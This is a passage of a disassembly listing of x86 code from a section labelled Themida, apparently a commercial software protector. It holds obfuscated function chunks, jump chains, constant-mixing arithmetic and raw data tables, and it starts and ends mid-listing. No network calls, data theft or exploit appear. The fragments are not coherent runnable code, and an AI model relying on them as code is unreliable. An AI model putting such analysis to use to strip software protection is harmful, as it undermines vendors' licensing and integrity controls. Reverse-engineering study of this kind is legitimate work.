; FUNCTION CHUNK AT 0058B65A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058B93D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C5B1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D4A2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DC1B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E5D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E912 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F4B2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F674 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FC66 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FDEC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FEC9 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, 0CF67BCDh
		shr	ebp, 7
		add	ebp, 2B2F7F25h
		shl	ebp, 1
		sub	ebp, 0F7FEC89Dh
		mov	esi, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		xor	[esp+4], esi
		pop	esi
		jmp	loc_585111
sub_58FA66	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		jmp	loc_58F49D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_58FA98:				; CODE XREF: sub_58AB18+2F5Ej
		push	edi
		push	edx
		mov	edx, 7D12415Ch
		jmp	loc_583F40
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58FAA4:				; CODE XREF: sub_58999B+270j
		add	bl, cl
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		sub	bl, al
		push	small 0B5Dh
		jmp	loc_584E79
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------


loc_58FABB:				; CODE XREF: Themida_:0058F897j
		push	edx
		mov	edx, esp
		jmp	loc_587DB0
; ---------------------------------------------------------------------------


loc_58FAC3:				; CODE XREF: Themida_:00587758j
		mov	cl, 0BEh
		add	bl, 35h
		add	bl, 98h
		sub	bl, cl
		sub	bl, 98h
		push	edx
		mov	dh, 0CBh
		sub	esp, 4
		mov	[esp], eax
		mov	al, 89h
		xor	al, 6Bh
		or	dh, al
		jmp	loc_58B6A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FAE4:				; CODE XREF: sub_585452+85D7j
		and	eax, 39D412FCh
		xor	eax, 211412C6h
		mov	esi, eax
		mov	eax, [esp+0Ah+var_C+2]
		jmp	loc_587A3C
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FAF8:				; CODE XREF: Themida_:0058FCA9j
		pop	edx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		inc	byte ptr [esp]
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CA39


loc_58FB12:				; CODE XREF: sub_58CA39+2727j
		add	ebx, eax
		add	ebx, 2E405031h
		push	eax
		mov	eax, 0
		add	eax, ebx
		jmp	loc_58CC37
; END OF FUNCTION CHUNK	FOR sub_58CA39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_58FB27:				; CODE XREF: sub_587574-B82j
		mov	[esp+0], ebx
		mov	ebx, 7D65C45h
		jmp	loc_5869F7
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FB34:				; CODE XREF: sub_585452+37CBj
		sub	eax, 1226E80h
		add	eax, 2F994A4Ch
		sub	eax, esi
		sub	eax, 2F994A4Ch
		add	eax, 1226E80h
		pop	esi
		jmp	loc_58645D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FB50:				; CODE XREF: Themida_:00587C21j
		mov	[esp], ebp
		push	5E702535h
		pop	ebp
		neg	ebp
		push	esi
		jmp	loc_585D48
; ---------------------------------------------------------------------------


loc_58FB61:				; CODE XREF: Themida_:0058B932j
		push	7F0522F1h
		pop	edx
		jmp	loc_589052
; ---------------------------------------------------------------------------


loc_58FB6C:				; CODE XREF: Themida_:0058FE86j
		add	edi, 4
		sub	edi, 4
		jmp	loc_58CA78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FB7D:				; CODE XREF: sub_585452+3921j
		dec	cl
		or	cl, 0D9h
		inc	cl
		xor	cl, 0B8h
		jmp	loc_58DCA9
; ---------------------------------------------------------------------------


loc_58FB8C:				; CODE XREF: sub_585452+4565j
		push	eax
		jmp	loc_58F860
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FB92:				; CODE XREF: Themida_:00588FADj
		pop	eax
		jmp	loc_58BC1E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FB98:				; CODE XREF: sub_585452+7AE1j
		mov	ebx, 4792213Ch
		jmp	loc_58C5C2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589C10


loc_58FBA2:				; CODE XREF: sub_589C10+1567j
		add	esi, 6897C00Ah
		jmp	loc_58DE95
; END OF FUNCTION CHUNK	FOR sub_589C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_58FBAD:				; CODE XREF: sub_58DA2E-8A4Dj
		pop	ebx
		push	eax
		mov	al, dl
		mov	bl, al
		pop	eax
		pop	edx
		mov	ch, bl
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_587E47
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------


loc_58FBBF:				; CODE XREF: Themida_:00587CEEj
		inc	ecx
		jmp	loc_5863D7
; ---------------------------------------------------------------------------


loc_58FBC5:				; CODE XREF: Themida_:005850D8j
		mov	al, 17h
		push	edx
		mov	dl, 0A5h
		xor	dl, 69h
		xor	dl, 2Bh
		push	eax
		mov	al, 3Eh
		jmp	loc_58C9DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FBD8:				; CODE XREF: sub_585452-C3Dj
		add	esi, 4AA97C22h
		mov	edi, esi
		jmp	loc_589E4C
; ---------------------------------------------------------------------------


loc_58FBE5:				; CODE XREF: sub_585452+276j
		mov	edi, 4C674FB7h
		xor	eax, edi
		pop	edi
		push	edi
		mov	edi, 508571B4h
		sub	eax, edi
		pop	edi
		xor	esi, eax
		pop	eax
		xor	eax, esi
		jmp	loc_58E024
; ---------------------------------------------------------------------------


loc_58FC00:				; CODE XREF: sub_585452+869Dj
		neg	edi
		push	ebp
		mov	ebp, 2F1B1D15h
		xor	edi, ebp
		pop	ebp
		add	edi, 0DA760F8Bh
		and	eax, edi
		push	dword ptr [esp+0]
		mov	edi, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_58F3DA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FC24:				; CODE XREF: Themida_:00584F59j
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_58D9DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FC36:				; CODE XREF: sub_585452+2CBFj
		mov	[esp-0Eh+arg_8+2], esi
		push	ecx
		mov	ecx, 7A925FB9h
		mov	esi, ecx
		pop	ecx
		push	edx
		push	edi
		mov	edi, 7BC137DFh
		shr	edi, 7
		shr	edi, 8
		neg	edi
		shl	edi, 1
		jmp	loc_584CA5
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FC58:				; CODE XREF: Themida_:0058AD06j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_585A14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58FC66:				; CODE XREF: sub_58FA66-4123j
		pop	esp
		mov	[esp+8+var_8], eax
		jmp	loc_586B67
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58FC6F:				; CODE XREF: Themida_:00584AEBj
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_58A63B
; ---------------------------------------------------------------------------


loc_58FC79:				; CODE XREF: Themida_:00589288j
		or	edx, 1EA623C7h
		shr	edx, 6
		shr	edx, 6
		push	edx
		inc	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	edx, 0FFFC119Eh
		sub	ebp, 5FB572FBh
		add	ebp, edx
		add	ebp, 5FB572FBh
		push	dword ptr [esp]
		jmp	loc_58FAF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FCAE:				; CODE XREF: sub_585452+9387j
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp+46h+var_48+2]
		pop	esp
		mov	[esp+42h+var_44+2], edx
		push	0FFFFFFFFh
		pop	edx
		sub	[edi+24h], edx
		mov	edx, [esp+42h+var_44+2]
		add	esp, 4
		jmp	sub_58E931
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FCD9:				; CODE XREF: Themida_:0058E219j
		sub	edx, edi
		pop	edi
		push	ecx
		jmp	loc_587D4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FCE2:				; CODE XREF: sub_585452+26Ej
		push	eax
		mov	eax, 7BB0762Ah
		shr	eax, 8
		push	ebp
		mov	ebp, 420E53F2h
		dec	ebp
		and	ebp, 1DC458B2h
		sub	ebp, 9D42015Fh
		jmp	loc_58DA26
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FD03:				; CODE XREF: Themida_:00587512j
		add	ecx, 4
		jmp	loc_58F2FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FD0B:				; CODE XREF: sub_585452+44AFj
		sub	edi, ecx
		pop	ecx
		and	edi, 5D107672h
		and	edi, 77001780h
		shl	edi, 1
		add	edi, 1
		sub	edi, 0AF6BD617h
		xor	eax, edi
		mov	edi, [esp+2+var_4+2]
		jmp	loc_58EB34
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EDD1


loc_58FD2F:				; CODE XREF: sub_58EDD1-2521j
		pop	ebx
		xor	ah, 6Fh
		xor	bl, ah
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		add	al, 9Dh
		jmp	sub_58999B
; END OF FUNCTION CHUNK	FOR sub_58EDD1
; ---------------------------------------------------------------------------


loc_58FD45:				; CODE XREF: Themida_:00586743j
		push	0C95h
		jmp	loc_58A215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589FD5


loc_58FD4F:				; CODE XREF: sub_589FD5+47Fj
		or	edi, 6E9D7DD9h
		push	eax
		mov	eax, 6B092DD6h
		and	eax, 30845919h
		shr	eax, 4
		shr	eax, 5
		sub	eax, 21141D41h
		xor	eax, 4FD960C8h
		jmp	loc_5866E0
; END OF FUNCTION CHUNK	FOR sub_589FD5
; ---------------------------------------------------------------------------


loc_58FD75:				; CODE XREF: Themida_:0058F979j
		push	0FEh
		jmp	loc_58DB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FD7F:				; CODE XREF: sub_585452+7432j
		mov	[esp-20h+arg_1A+2], edx
		mov	edx, 52529A9h
		add	edx, 2716736Ah
		push	esi
		mov	esi, 12F33447h
		xor	esi, 73F74187h
		dec	esi
		add	esi, 43B47175h
		add	esi, 5BDA3F01h
		add	edx, 58A602F0h
		add	edx, esi
		sub	edx, 58A602F0h
		jmp	loc_58C735
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EA34


loc_58FDB9:				; CODE XREF: sub_58EA34-2796j
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58EA34
; ---------------------------------------------------------------------------


loc_58FDBE:				; CODE XREF: Themida_:00584738j
		inc	ebx
		inc	ebx
		jmp	loc_58D089
; ---------------------------------------------------------------------------


loc_58FDC5:				; CODE XREF: Themida_:0058AD63j
		pop	dword ptr [esp]
		jmp	loc_58E540
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_58DE8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FDDC:				; CODE XREF: sub_585452+3F56j
		sub	ebx, edi
		add	ebx, 596B693Ah
		mov	edi, [esp+0Eh+var_10+2]
		jmp	loc_58889B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58FDEC:				; CODE XREF: sub_58FA66-8EF6j
		xchg	eax, ecx
		push	eax
		jmp	loc_589635
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58FDF3:				; CODE XREF: Themida_:0058B825j
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 1CAC65A6h
		push	ebp
		jmp	loc_587662
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FE0B:				; CODE XREF: sub_585452+41A3j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 24h
		push	edx
		push	eax
		jmp	loc_58C5F9
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_58FE24:				; CODE XREF: sub_58999B-3026j
		add	ebx, 4
		push	ebx
		jmp	loc_58DDB6
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FE30:				; CODE XREF: sub_585452+5C93j
		pop	eax
		push	ecx
		mov	ecx, 90B030Ch
		and	edx, ecx
		pop	ecx
		not	edx
		push	ebx
		mov	ebx, 10B0105h
		add	edx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		jmp	loc_58A78A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FE4D:				; CODE XREF: Themida_:005867CDj
		pop	ebp
		jmp	loc_586A26
; ---------------------------------------------------------------------------


loc_58FE53:				; CODE XREF: Themida_:005850CAj
		push	edi
		push	ebp
		mov	ebp, 2056072Dh
		xor	[esp+4], ebp
		pop	ebp
		pop	eax
		xor	eax, 2056072Dh
		pop	edi
		jmp	loc_58CF38
; ---------------------------------------------------------------------------


loc_58FE6B:				; CODE XREF: Themida_:005899E4j
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_587A2E
; ---------------------------------------------------------------------------


loc_58FE80:				; CODE XREF: Themida_:0058BA34j
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		jmp	loc_58FB6C
; ---------------------------------------------------------------------------


loc_58FE8B:				; CODE XREF: Themida_:0058C784j
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58FE90:				; CODE XREF: sub_58EFBD-27A4j
		add	eax, edi
		jmp	loc_58AF1F
; ---------------------------------------------------------------------------


loc_58FE97:				; CODE XREF: sub_58EFBD-2C55j
		xor	edi, 70F257B1h
		jmp	loc_589441
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_58FEA2:				; CODE XREF: sub_58A170+20EFj
		pop	ecx
		xor	bl, al
		movzx	eax, al
		push	small 6C93h
		mov	[esp-6+arg_2], ax
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_58FEB5:				; CODE XREF: Themida_:00584B95j
		neg	edi
		add	edi, 3B59E37Eh
		jmp	loc_58BD53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FEC2:				; CODE XREF: sub_585452+8FB0j
		xor	al, 0F0h
		jmp	loc_58CF72
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_58FEC9:				; CODE XREF: sub_58FA66-4B4Cj
		not	eax
		xor	eax, 41826515h
		add	eax, 44EEAD1Ah
		mov	ecx, eax
		pop	eax
		and	eax, ecx
		pop	ecx
		jmp	loc_5879F3
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------


loc_58FEE0:				; CODE XREF: Themida_:00589839j
		sub	dh, ch
		pop	ecx
		add	al, dh
		mov	edx, [esp]
		jmp	loc_585119
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_58B1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FEFC:				; CODE XREF: sub_585452+89E1j
		or	ebp, 42566258h
		inc	ebp
		xor	ebp, 1AC40C61h
		dec	ebp
		jmp	loc_589B67
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FF0F:				; CODE XREF: Themida_:0058988Aj
		sub	esp, 4
		jmp	loc_584ED2
; ---------------------------------------------------------------------------


loc_58FF1A:				; CODE XREF: Themida_:005862FFj
		add	esp, 4
		push	eax
		mov	eax, 5E131C48h
		and	eax, 2C4724D5h
		add	eax, 211D7419h
		add	eax, 4F0A107Bh
		shr	eax, 7
		jmp	loc_589070
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589972


loc_58FF3A:				; CODE XREF: sub_589972+23ABj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_586219
; END OF FUNCTION CHUNK	FOR sub_589972
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58FF4E:				; CODE XREF: sub_585452+2BB2j
		sub	dh, 2Ah
		add	dh, 1
		neg	dh
		not	dh
		jmp	loc_58E546
; ---------------------------------------------------------------------------


loc_58FF5D:				; CODE XREF: sub_585452+6C57j
		push	53BBh
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+1Eh+var_20+2]
		pop	esp
		jmp	loc_586B9D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58FF85:				; CODE XREF: Themida_:005884DBj
		add	bl, 2
		add	bl, 0BEh
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58E327
; ---------------------------------------------------------------------------
		align 4
		dd 0EB940000h, 0FF4C7C90h, 915B0012h, 8D8D005Eh, 0BADAD513h
		dd 9D9EFA45h, 203005Eh,	20000h,	10000h,	20000h,	0BADA0000h
		dd 0FA45h, 4 dup(0)
		dd 533F0000h, 31350059h, 44F0005Ah, 557B005Ah, 5DBB005Ah
		dd 35110059h, 738D0059h, 69E0059h, 0E2C20059h, 2D9B0059h
		dd 6F730059h, 0F5CD0059h, 165B0059h, 0CDA50059h, 0E7520059h
		dd 0EA9C0059h, 79040059h, 1CA00059h, 69F00059h,	0B84C0059h
		dd 0F1F0059h, 5042005Ah, 4F9B005Ah, 4967005Ah, 0BEAC0059h
		dd 37230059h, 7EC8005Ah, 51A60059h, 10260059h, 0BBB3005Ah
		dd 3C310059h, 465B005Ah, 379D0059h, 9D980059h, 56920059h
		dd 6980005Ah, 0A440059h, 5A880059h, 27920059h, 6B11005Ah
		dd 0CE30059h, 0DD060059h, 0CFA40059h, 46330059h, 0AB01005Ah
		dd 0B4E00059h, 43880059h, 0C1D7005Ah, 275B0059h, 7CF0005Ah
		dd 0C94D0059h, 0D8090059h, 56680059h, 1DFD005Ah, 28BD005Ah
		dd 1954005Ah, 1F290059h, 77100059h, 0D3060059h,	0C9A40059h
		dd 27650059h, 0B03F0059h, 55B80059h, 8CFF0059h,	0E6AA0059h
		dd 48980059h, 0F00005Ah, 2CCE005Ah, 43DE005Ah, 30000059h
		dd 4BCB005Ah, 3FED0059h, 4B990059h, 67E4005Ah, 1FAA0059h
		dd 4F66005Ah, 0A7F60059h, 0D8E80059h, 9D1D0059h, 0D9F80059h
		dd 8B600059h, 312A0059h, 0AC510059h, 33F00059h,	0B76E005Ah
		dd 317B0059h, 0D2B9005Ah, 0C4D20059h, 87E60059h, 60B50059h
		dd 0E7320059h, 0C3780059h, 9AD40059h, 2FA20059h, 0B6F9005Ah
		dd 8B580059h, 45FE0059h, 0FF42005Ah, 51180059h,	26CB005Ah
		dd 0B8130059h, 5160059h, 219B005Ah, 0ADD0005Ah,	0DA1E0059h
		dd 98500059h, 66590059h, 86A40059h, 25D80059h, 0FA180059h
		dd 2DDB0059h, 5398005Ah, 15AF0059h, 32FC005Ah, 790D0059h
		dd 0E0B0059h, 0B82D005Ah, 0F420059h, 2F71005Ah,	8ECD0059h
		dd 16180059h, 49EE0059h, 28960059h, 1438005Ah, 5FF0005Ah
		dd 212C0059h, 3F870059h, 2ACD005Ah, 508005Ah, 0C41B005Ah
		dd 0DE5F0059h, 0B05F0059h, 0DEC0059h, 20EA0059h, 0B2380059h
		dd 50E0059h, 8E6A0059h,	44F80059h, 7D2B0059h, 3EF40059h
		dd 2746005Ah, 458B005Ah, 401B005Ah, 0E7A005Ah, 535E005Ah
		dd 28CD005Ah, 2AC10059h, 0A3BB005Ah, 3F950059h,	21340059h
		dd 929F0059h, 88670059h, 581D0059h, 0BD310059h,	2FC0059h
		dd 820059h, 0A56A005Ah,	7E790059h, 415C0059h, 884B0059h
		dd 35170059h, 0D2EA0059h, 73970059h, 2A200059h,	0C6BD0059h
		dd 18270059h, 91470059h
		db 59h,	0
; ---------------------------------------------------------------------------


loc_59027A:				; CODE XREF: Themida_:005D1E02j
					; Themida_:005D1E0Cj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61347A8h
		mov	eax, edi
		add	edi, 61344C0h
		cmp	eax, [edi+2Ch]
		jnz	short loc_590298
		jmp	short loc_5902AB
; ---------------------------------------------------------------------------


loc_590298:				; CODE XREF: Themida_:00590294j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5902A7
; ---------------------------------------------------------------------------


loc_5902A2:				; CODE XREF: Themida_:005902A9j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5902A7:				; CODE XREF: Themida_:005902A0j
		or	ecx, ecx
		jnz	short loc_5902A2


loc_5902AB:				; CODE XREF: Themida_:00590296j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5902B8:				; CODE XREF: Themida_:005902BFj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5902B8


loc_5902C1:				; CODE XREF: Themida_:00590327j
					; Themida_:005905EAj ...
		lodsb
		push	487Dh
		mov	[esp], edx
		push	eax
		push	edx
		mov	dl, 0A3h
		jmp	loc_59735A
; ---------------------------------------------------------------------------


loc_5902D3:				; CODE XREF: Themida_:005A0E75j
		shl	edi, 6
		sub	edi, 76B85A75h
		inc	edi
		xor	edi, 6C166548h
		xor	edi, 0E61EEDE9h
		jmp	loc_59ACB1
; ---------------------------------------------------------------------------


loc_5902EE:				; CODE XREF: Themida_:00599ACFj
		not	ecx
		inc	ecx
		xor	ecx, 1ABC6B8Bh
		jmp	loc_5A4B2C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		sub	ebp, 603948CAh
		jmp	loc_591436
; ---------------------------------------------------------------------------


loc_590314:				; CODE XREF: Themida_:0059B912j
		push	eax
		mov	eax, 10F43533h
		add	ebp, eax
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59032C:				; CODE XREF: Themida_:00592E3Aj
		mov	[esp], ebx
		jmp	loc_5A217D
; ---------------------------------------------------------------------------


loc_590334:				; CODE XREF: Themida_:00593DA4j
		mov	ecx, 5264604Dh
		jmp	loc_59D11C
; ---------------------------------------------------------------------------


loc_59033E:				; CODE XREF: Themida_:0059AEE0j
		pop	esi
		jmp	loc_59CB9C
; ---------------------------------------------------------------------------


loc_590344:				; CODE XREF: Themida_:005913CBj
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_598936
; ---------------------------------------------------------------------------


loc_590353:				; CODE XREF: Themida_:005A19DDj
		mov	[esp], edx
		jmp	loc_5A0A60
; ---------------------------------------------------------------------------


loc_59035B:				; CODE XREF: Themida_:00595A9Cj
		add	eax, 53223C59h
		mov	ebp, [esp]
		push	eax
		jmp	loc_593545
; ---------------------------------------------------------------------------


loc_590369:				; CODE XREF: Themida_:005A07D1j
		push	edx
		mov	dl, 0FCh
		shr	dl, 4
		add	dl, 6Dh
		sub	dl, 89h
		xor	dl, 0F2h
		sub	bl, dl
		mov	edx, [esp]
		add	esp, 4
		dec	bl
		jmp	loc_593A6A
; ---------------------------------------------------------------------------


loc_590387:				; CODE XREF: Themida_:0059DBEAj
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		add	eax, 6EF412EAh
		add	eax, esi
		sub	eax, 6EF412EAh
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A2452
; ---------------------------------------------------------------------------
		align 2
		lds	eax, [eax+458ECC5h]
		push	edx
		add	al, ch
		sub	al, 52h
		pop	ecx
		push	edx
		push	eax
		mov	ah, 39h
		push	ebx
		jmp	loc_59E1EE
; ---------------------------------------------------------------------------


loc_5903DC:				; CODE XREF: Themida_:005A5617j
		add	bl, al
		mov	ax, [esp]
		add	esp, 2
		sub	al, 0DBh
		sub	al, bl
		add	al, 0DBh
		jmp	loc_59BF62
; ---------------------------------------------------------------------------


loc_5903F3:				; CODE XREF: Themida_:0059D510j
		mov	edi, 46D266BBh
		jmp	loc_5974FB
; ---------------------------------------------------------------------------


loc_5903FD:				; CODE XREF: Themida_:005A0B8Fj
		xor	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	536h
		mov	[esp], ecx
		jmp	loc_5A2EC4
; ---------------------------------------------------------------------------


loc_590414:				; CODE XREF: Themida_:00598758j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 2D7D58C0h
		push	6DFF8CB1h
		pop	ebp
		sub	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	ebp, 0C1608C7h
		jmp	loc_596A2B
; ---------------------------------------------------------------------------


loc_590439:				; CODE XREF: Themida_:00597405j
		sub	edx, esi
		pop	esi
		push	eax
		mov	eax, 7F14205Fh
		push	eax
		jmp	loc_5A55D3
; ---------------------------------------------------------------------------


loc_590448:				; CODE XREF: Themida_:005A45EFj
		xchg	edi, [esp]
		jmp	loc_593ED2
; ---------------------------------------------------------------------------


loc_590450:				; CODE XREF: Themida_:005948A3j
		push	edi
		mov	edi, 680C774Ch
		sub	ebx, edi
		pop	edi
		not	ebx
		push	esi
		mov	esi, 5AA1D1Dh
		or	ebx, esi
		pop	esi
		add	ebx, 1
		push	edx
		mov	edx, 50BB75D6h
		neg	edx
		shl	edx, 4
		and	edx, 64913C9Dh
		dec	edx
		xor	edx, 4BA91CD9h
		jmp	loc_59240D
; ---------------------------------------------------------------------------


loc_590487:				; CODE XREF: Themida_:0059F5FBj
		mov	[esp], esi
		push	ebx
		mov	ebx, 18F44DDDh
		push	ebp
		jmp	loc_599998
; ---------------------------------------------------------------------------
word_590496	dw 2489h		; CODE XREF: Themida_:00598153j
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 0FFh
		xor	al, 24h
		pop	ecx
		push	6BF7h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_597FC0
; ---------------------------------------------------------------------------


loc_5904B9:				; CODE XREF: Themida_:0059A8C6j
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5A4C94
; ---------------------------------------------------------------------------


loc_5904C3:				; CODE XREF: Themida_:005907BFj
		not	edi
		add	edi, 292CC3h
		push	ebx
		mov	ebx, 5CD51343h
		jmp	loc_59E310
; ---------------------------------------------------------------------------


loc_5904D6:				; CODE XREF: Themida_:005A1C41j
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_592BC8
; ---------------------------------------------------------------------------


loc_5904F0:				; CODE XREF: Themida_:0059BFDCj
		pop	ebx
		pop	edi
		push	esi
		mov	esi, 246E4A29h
		xor	esi, 0FD53FF9h
		neg	esi
		shl	esi, 7
		add	esi, 3E292750h
		jmp	loc_5951FE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	51C8h
		mov	[esp], edi
		jmp	loc_591D11
; ---------------------------------------------------------------------------


loc_59051F:				; CODE XREF: Themida_:0059EA89j
		pop	ecx
